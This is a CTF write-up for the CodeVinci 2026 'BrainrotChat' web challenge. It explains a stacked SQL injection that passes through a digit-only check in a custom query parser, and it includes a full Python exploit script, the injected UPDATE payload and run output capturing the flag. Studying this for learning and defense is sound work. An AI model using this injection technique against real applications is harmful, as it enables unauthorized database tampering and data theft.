CodeVinci CTF 2026 - BrainrotChat - Web Exploitation Writeup

Category: Web Exploitation Flag: CodeVinci{Tr4ll4ll3r0_Tr4ll4ll4_P*rc*d1o*_e_p0rCo_4**4*_changed_flag}

Challenge Description#

average brainrot chat

Analysis#

The archive immediately looked like a Next.js app with a custom query language, so I started by checking which backend files mattered for data flow into SQL.

1
unzip -l BrainrotChat.zip

1
Archive:  BrainrotChat.zip
2
  Length      Date    Time    Name
3
---------  ---------- -----   ----
4
     3145  02-04-2026 06:18   BrainrotChat (Copy)/app/api/messages/route.js
5
     1964  02-04-2026 06:18   BrainrotChat (Copy)/app/api/brainrot/route.js
6
     1482  02-04-2026 06:18   BrainrotChat (Copy)/app/api/settings/route.js
7
    13886  02-04-2026 06:49   BrainrotChat (Copy)/lib/brainrotParser.js
8
---------                     -------
9
    93253                     52 files

That narrowed the path quickly: /api/settings writes a user-controlled base64 value to sfx under profile_<userid>, and /api/brainrot reads sfx and base64-decodes it when the tag starts with profile_. I verified the key lines directly.

1
rg -n "status|profile_|sfx|Buffer\.from\(|base64" "BrainrotChat (Copy)/app/api/settings/route.js" "BrainrotChat (Copy)/app/api/brainrot/route.js"

1
BrainrotChat (Copy)/app/api/brainrot/route.js:19:  const [sfxRows] = await pool.query("SELECT tag, payload FROM sfx");
2
BrainrotChat (Copy)/app/api/brainrot/route.js:24:    if (tag.startsWith("profile_")) {
3
BrainrotChat (Copy)/app/api/brainrot/route.js:26:        return Buffer.from(payload, "base64").toString("utf-8");
4
BrainrotChat (Copy)/app/api/settings/route.js:10:  const { displayName, bio, status } = await request.json();
5
BrainrotChat (Copy)/app/api/settings/route.js:13:  const cleanStatus = String(status || "").trim().slice(0, 1024);
6
BrainrotChat (Copy)/app/api/settings/route.js:25:    const macroTag = `profile_${user.id}`;
7
BrainrotChat (Copy)/app/api/settings/route.js:27:      "INSERT INTO sfx(tag, payload) VALUES (?, ?) ON DUPLICATE KEY UPDATE payload = VALUES(payload)",

The real bug is in the BrainrotQL parser: cap and skip accept macro-expanded values, then only check whether the string contains any digit via /\d+/.test(value). That means 0;UPDATE ... passes validation and is returned as raw SQL fragment.

1
python show_parser_slice.py

1
346:   _parseLimit(rest) {
2
347:     if (!rest) throw new BrainrotParseError("cap needs a number");
3
348:     const value = this._expandMacros(rest.trim());
4
349:     if (!/\d+/.test(value)) {
5
350:       throw new BrainrotParseError("cap must contain a number.");
6
351:     }
7
352:     return value;
8
353:   }
9
354:
10
355:   _parseOffset(rest) {
11
356:     if (!rest) throw new BrainrotParseError("skip needs a number");
12
357:     const value = this._expandMacros(rest.trim());
13
358:     if (!/\d+/.test(value)) {
14
359:       throw new BrainrotParseError("skip must contain a number.");
15
360:     }
16
361:     return value;
17
362:   }

At that point the chain was clean: register a normal user, store base64 of 0;UPDATE users SET bio=(SELECT flag FROM flags LIMIT 1) WHERE id=<me> into status, trigger parsing with cap sfx(profile_<me>), then read my own bio back through BrainrotQL. It worked on first full run after wiring the script.

wink

The funniest part is the parser check: it looks like validation, but it only requires one digit anywhere in the payload, so 0;... slides through effortlessly.

tableflip

I used this exploit runner against the live instance and captured the flag from real API output.

1
python brainrotchat_exploit.py

1
register: 200 {'ok': True, 'user': {'id': 503, 'handle': 'pwn_36pakmaf8a', 'display_name': 'pwner'}}
2
id query: 200 {'ok': True, 'rows': [{'id': 503, 'handle': 'pwn_36pakmaf8a'}]}
3
uid: 503
4
settings: 200 {'ok': True, 'user': {'handle': 'pwn_36pakmaf8a', 'display_name': 'pwner', 'bio': '', 'status': 'MDtVUERBVEUgdXNlcnMgU0VUIGJpbz0oU0VMRUNUIGZsYWcgRlJPTSBmbGFncyBMSU1JVCAxKSBXSEVSRSBpZD01MDM='}}
5
trigger: 200 {'ok': True, 'rows': []}
6
read bio: 200 {'ok': True, 'rows': [{'bio': 'CodeVinci{Tr4ll4ll3r0_Tr4ll4ll4_P*rc*d1o*_e_p0rCo_4**4*_changed_flag}'}]}
7
FLAG: CodeVinci{Tr4ll4ll3r0_Tr4ll4ll4_P*rc*d1o*_e_p0rCo_4**4*_changed_flag}

Solution#

1
import base64
2
import random
3
import re
4
import string
5

6
import requests
7

8
BASE = "https://brainrotchat.codevinci.it"
9

10
def rand_text(n=8):
11
    alpha = string.ascii_lowercase + string.digits
12
    return "".join(random.choice(alpha) for _ in range(n))
13

14
def post_json(session, path, data):
15
    r = session.post(f"{BASE}{path}", json=data, timeout=20)
16
    try:
17
        j = r.json()
18
    except Exception:
19
        j = {"raw": r.text}
20
    return r, j
21

22
def brainrot(session, query):
23
    r, j = post_json(session, "/api/brainrot", {"query": query})
24
    return r, j
25

26
def main():
27
    s = requests.Session()
28

29
    handle = f"pwn_{rand_text(10)}"
30
    password = "pwnpass123"
31

32
    r, j = post_json(
33
        s,
34
        "/api/auth/register",
35
        {"handle": handle, "password": password, "displayName": "pwner"},
36
    )
37
    print("register:", r.status_code, j)
38
    if r.status_code != 200 or not j.get("ok"):
39
        return
40

41
    r, j = brainrot(s, f"summon users | spill id,handle | vibe handle is {handle}")
42
    print("id query:", r.status_code, j)
43
    if not j.get("ok") or not j.get("rows"):
44
        return
45

46
    uid = int(j["rows"][0]["id"])
47
    print("uid:", uid)
48

49
    injected = f"0;UPDATE users SET bio=(SELECT flag FROM flags LIMIT 1) WHERE id={uid}"
50
    b64 = base64.b64encode(injected.encode()).decode()
51

52
    r, j = post_json(
53
        s,
54
        "/api/settings",
55
        {"displayName": "pwner", "bio": "", "status": b64},
56
    )
57
    print("settings:", r.status_code, j)
58
    if r.status_code != 200 or not j.get("ok"):
59
        return
60

61
    r, j = brainrot(s, f"summon users | spill id | cap sfx(profile_{uid})")
62
    print("trigger:", r.status_code, j)
63

64
    r, j = brainrot(s, f"summon users | spill bio | vibe id is {uid}")
65
    print("read bio:", r.status_code, j)
66
    text = str(j)
67
    m = re.search(r"CodeVinci\{[^}]+\}", text)
68
    if m:
69
        print("FLAG:", m.group(0))
70

71
if __name__ == "__main__":
72
    main()

1
python brainrotchat_exploit.py

1
FLAG: CodeVinci{Tr4ll4ll3r0_Tr4ll4ll4_P*rc*d1o*_e_p0rCo_4**4*_changed_flag}